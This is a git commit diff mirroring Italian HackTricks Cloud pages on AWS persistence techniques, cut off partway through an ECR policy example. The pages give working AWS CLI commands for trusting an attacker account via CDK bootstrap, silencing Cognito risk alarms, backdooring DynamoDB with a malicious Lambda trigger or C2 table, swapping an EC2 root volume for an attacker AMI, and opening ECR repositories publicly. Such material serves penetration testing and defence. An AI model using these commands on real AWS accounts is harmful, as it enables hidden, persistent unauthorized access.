mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-28 15:54:27 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - Persistenza API Gateway
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Per ulteriori informazioni vai a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Politica delle Risorse
|
||||
|
||||
Modifica la politica delle risorse del/i gateway API per concederti accesso ad essi.
|
||||
|
||||
### Modifica degli Autorizzatori Lambda
|
||||
|
||||
Modifica il codice degli autorizzatori lambda per concederti accesso a tutti gli endpoint.\
|
||||
Oppure rimuovi semplicemente l'uso dell'autorizzatore.
|
||||
|
||||
### Permessi IAM
|
||||
|
||||
Se una risorsa utilizza un autorizzatore IAM, potresti concederti accesso modificando i permessi IAM.\
|
||||
Oppure rimuovi semplicemente l'uso dell'autorizzatore.
|
||||
|
||||
### Chiavi API
|
||||
|
||||
Se vengono utilizzate chiavi API, potresti leakare per mantenere la persistenza o persino crearne di nuove.\
|
||||
Oppure rimuovi semplicemente l'uso delle chiavi API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Policy della risorsa
|
||||
|
||||
Modifica la resource policy dell'API gateway(s) per concederti l'accesso.
|
||||
|
||||
### Modifica Lambda Authorizers
|
||||
|
||||
Modifica il codice dei lambda authorizers per concederti l'accesso a tutti gli endpoint.\
|
||||
Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Se una risorsa utilizza un IAM authorizer, potresti concederti l'accesso modificando le IAM permissions.\
|
||||
Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Se vengono usate API keys, potresti leakarle per mantenere la persistenza o anche crearne di nuove.\
|
||||
Oppure rimuovi semplicemente l'uso delle API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Per ulteriori informazioni, accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che consente a conti esterni di distribuire progetti CDK nell'account vittima. Un attaccante può abusare di questo per concedersi accesso indefinito all'account vittima, sia utilizzando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Per maggiori informazioni, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che permette ad account esterni di distribuire progetti CDK nell'account della vittima. Un attaccante può abusarne per concedersi accesso indefinito all'account della vittima, sia usando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Persistenza Cognito
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Per ulteriori informazioni, accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza dell'utente
|
||||
|
||||
Cognito è un servizio che consente di assegnare ruoli a utenti non autenticati e autenticati e di controllare un directory di utenti. Diverse configurazioni possono essere modificate per mantenere una certa persistenza, come:
|
||||
|
||||
- **Aggiungere un User Pool** controllato dall'utente a un Identity Pool
|
||||
- Dare un **ruolo IAM a un Identity Pool non autenticato e consentire il flusso di autenticazione di base**
|
||||
- O a un **Identity Pool autenticato** se l'attaccante può effettuare il login
|
||||
- O **migliorare i permessi** dei ruoli assegnati
|
||||
- **Creare, verificare e privesc** tramite utenti controllati da attributi o nuovi utenti in un **User Pool**
|
||||
- **Consentire ai fornitori di identità esterni** di effettuare il login in un User Pool o in un Identity Pool
|
||||
|
||||
Controlla come eseguire queste azioni in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaccante con questo privilegio potrebbe modificare la configurazione del rischio per poter effettuare il login come utente Cognito **senza che vengano attivati allarmi**. [**Controlla il cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) per verificare tutte le opzioni:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Per impostazione predefinita, questo è disabilitato:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Per maggiori informazioni, accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza utente
|
||||
|
||||
Cognito è un servizio che permette di assegnare ruoli ad utenti non autenticati e autenticati e di controllare una directory di utenti. Diversi tipi di configurazioni possono essere modificati per mantenere una persistenza, come:
|
||||
|
||||
- **Adding a User Pool** controllato dall'utente in un Identity Pool
|
||||
- Assegnare un **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- O a un **authenticated Identity Pool** se l'attacker può login
|
||||
- Oppure **improve the permissions** dei ruoli assegnati
|
||||
- **Create, verify & privesc** tramite attributi di utenti controllati o nuovi utenti in un **User Pool**
|
||||
- **Allowing external Identity Providers** per permettere il login in un User Pool o in un Identity Pool
|
||||
|
||||
Vedi come eseguire queste azioni in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attacker con questo privilegio potrebbe modificare la risk configuration per poter effettuare il login come utente Cognito senza far scattare gli allarmi. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Per impostazione predefinita, questo è disabilitato:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - Persistenza DynamoDB
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Per ulteriori informazioni accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Trigger DynamoDB con Backdoor Lambda
|
||||
|
||||
Utilizzando i trigger di DynamoDB, un attaccante può creare una **backdoor furtiva** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, consentendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, il che attiverà la funzione Lambda malevola. Questo consente all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la funzione Lambda.
|
||||
|
||||
### DynamoDB come canale C2
|
||||
|
||||
Un attaccante può utilizzare una tabella DynamoDB come un **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e, facoltativamente, riportare i risultati nella tabella. Questo consente all'attaccante di mantenere la persistenza e il controllo sulle risorse compromesse.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers con Lambda Backdoor
|
||||
|
||||
Usando i trigger di DynamoDB, un attacker può creare una **stealthy backdoor** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un item viene aggiunto, modificato o cancellato, permettendo all'attacker di eseguire codice arbitrario all'interno dell'account AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Per mantenere la persistenza, l'attaccante può creare o modificare items nella tabella DynamoDB, il che attiverà la Lambda function malevola. Questo permette all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la Lambda function.
|
||||
|
||||
### DynamoDB come canale C2
|
||||
|
||||
Un attaccante può usare una tabella DynamoDB come un **command and control (C2) channel** creando items contenenti comandi e utilizzando istanze compromesse o Lambda functions per recuperare ed eseguire questi comandi.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Le istanze compromesse o le Lambda functions possono periodicamente controllare la C2 table per nuovi comandi, eseguirli e, opzionalmente, riportare i risultati nuovamente nella C2 table. Questo permette all'attacker di mantenere persistence e controllo sulle risorse compromesse.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza del Tracciamento delle Connessioni del Gruppo di Sicurezza
|
||||
|
||||
Se un difensore scopre che un **EC2 instance è stata compromessa**, probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma i NACL influenzano l'intera subnet), o **cambiando il gruppo di sicurezza** per non consentire **alcun tipo di traffico in entrata o in uscita**.
|
||||
|
||||
Se l'attaccante aveva una **reverse shell originata dalla macchina**, anche se il SG è modificato per non consentire traffico in entrata o in uscita, la **connessione non verrà interrotta a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Questo servizio consente di **programmare** la **creazione di AMI e snapshot** e persino di **condividerli con altri account**.\
|
||||
Un attaccante potrebbe configurare la **generazione di AMI o snapshot** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il suo account**.
|
||||
|
||||
### Istanza Programmata
|
||||
|
||||
È possibile programmare le istanze per essere eseguite quotidianamente, settimanalmente o persino mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o accesso interessante dove potrebbe accedere.
|
||||
|
||||
### Richiesta Spot Fleet
|
||||
|
||||
Le istanze Spot sono **più economiche** delle istanze regolari. Un attaccante potrebbe lanciare una **piccola richiesta di spot fleet per 5 anni** (ad esempio), con **assegnazione automatica dell'IP** e un **user data** che invia all'attaccante **quando l'istanza spot inizia** e l'**indirizzo IP** e con un **ruolo IAM con privilegi elevati**.
|
||||
|
||||
### Istanze Backdoor
|
||||
|
||||
Un attaccante potrebbe accedere alle istanze e backdoorarle:
|
||||
|
||||
- Utilizzando un tradizionale **rootkit** ad esempio
|
||||
- Aggiungendo una nuova **chiave SSH pubblica** (controlla [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring il **User Data**
|
||||
|
||||
### **Configurazione di Lancio Backdoor**
|
||||
|
||||
- Backdoor l'AMI utilizzata
|
||||
- Backdoor il User Data
|
||||
- Backdoor il Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Crea una VPN in modo che l'attaccante possa connettersi direttamente attraverso di essa al VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Crea una connessione di peering tra il VPC della vittima e il VPC dell'attaccante in modo che possa accedere al VPC della vittima.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Se un difensore scopre che un'**EC2 instance è stata compromessa** probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma gli NACLs interessano l'intera subnet), o **modificando il security group** in modo da non permettere **alcun traffico in ingresso o in uscita**.
|
||||
|
||||
Se l'attaccante ha una **reverse shell originata dalla macchina**, anche se il SG viene modificato per non permettere traffico in ingresso o in uscita, la **connessione non verrà terminata a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Questo servizio permette di **pianificare** la **creazione di AMIs e snapshots** e persino di **condividerli con altri account**.\
|
||||
Un attaccante potrebbe configurare la **generazione di AMIs o snapshots** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il proprio account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
È possibile schedulare le instances per essere eseguite giornalmente, settimanalmente o anche mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o con accesso interessante a cui potrebbe connettersi.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Le spot instances sono **più economiche** delle instances regolari. Un attaccante potrebbe avviare una **small spot fleet request per 5 year** (ad esempio), con assegnazione di **automatic IP** e un **user data** che invii all'attaccante **quando la spot instance parte** l'**indirizzo IP** e con un **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaccante potrebbe ottenere accesso alle instances e installare una backdoor:
|
||||
|
||||
- Usando, per esempio, un **rootkit** tradizionale
|
||||
- Aggiungendo una nuova **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring il **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Scambia il root EBS volume di un'istanza in esecuzione con uno costruito da un AMI o snapshot controllato dall'attaccante usando `CreateReplaceRootVolumeTask`. L'istanza mantiene le sue ENIs, IPs, and role, avviando efficacemente codice malevolo pur apparendo invariata.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Creare una VPN in modo che l'attaccante possa connettersi direttamente alla VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Creare una connessione di peering tra la VPC vittima e la VPC dell'attaccante in modo che questi possa accedere alla VPC vittima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa di **ec2:CreateReplaceRootVolumeTask** per scambiare il volume root EBS di un'istanza in esecuzione con uno ripristinato da un AMI o snapshot controllato dall'attaccante. L'istanza viene riavviata automaticamente e riprende con il filesystem root controllato dall'attaccante mantenendo ENIs, IP privati/pubblici, volumi non-root allegati e i metadata dell'istanza/ruolo IAM.
|
||||
|
||||
## Requisiti
|
||||
- L'istanza target è EBS-backed ed è in esecuzione nella stessa regione.
|
||||
- AMI o snapshot compatibile: stessa architettura/virtualizzazione/modalità di avvio (e codici prodotto, se presenti) dell'istanza target.
|
||||
|
||||
## Verifiche preliminari
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Sostituire root da AMI (preferito)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternativa: usare uno snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Evidenza / Verifica
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Risultato atteso: ENI_ID e PRI_IP rimangono gli stessi; l'ID del root volume cambia da $ORIG_VOL a $NEW_VOL. Il sistema si avvia con il filesystem dall'AMI/snapshot controllato dall'attaccante.
|
||||
|
||||
## Note
|
||||
- L'API non richiede di arrestare manualmente l'istanza; EC2 orchestra un riavvio.
|
||||
- Per impostazione predefinita, il root EBS volume sostituito (vecchio) viene staccato e lasciato nell'account (DeleteReplacedRootVolume=false). Questo può essere usato per il rollback oppure deve essere eliminato per evitare costi.
|
||||
|
||||
## Ripristino / Pulizia
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Immagine Docker Nascosta con Codice Maligno
|
||||
|
||||
Un attaccante potrebbe **caricare un'immagine Docker contenente codice maligno** in un repository ECR e usarla per mantenere la persistenza nell'account AWS target. L'attaccante potrebbe quindi distribuire l'immagine malevola a vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
|
||||
|
||||
### Politica del Repository
|
||||
|
||||
Aggiungi una politica a un singolo repository che ti concede (o a tutti) accesso a un repository:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nota che ECR richiede che gli utenti abbiano **permessi** per effettuare chiamate all'API **`ecr:GetAuthorizationToken`** tramite una policy IAM **prima di poter autenticarsi** a un registro e caricare o scaricare immagini da qualsiasi repository Amazon ECR.
|
||||
|
||||
### Politica del Registro e Replicazione tra Account
|
||||
|
||||
È possibile replicare automaticamente un registro in un account esterno configurando la replicazione tra account, dove è necessario **indicare l'account esterno** in cui si desidera replicare il registro.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Innanzitutto, è necessario concedere all'account esterno accesso al registro con una **politica del registro** come:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Quindi applica la configurazione di replicazione:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Immagine Docker nascosta con codice malevolo
|
||||
|
||||
Un attaccante potrebbe **caricare un'immagine Docker contenente codice malevolo** in un repository ECR e usarla per mantenere la persistenza nell'account AWS di destinazione. L'attaccante potrebbe quindi distribuire l'immagine malevola su vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
|
||||
|
||||
### Policy del repository
|
||||
|
||||
Aggiungi una policy a un singolo repository concedendo a te (o a chiunque) l'accesso al repository:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
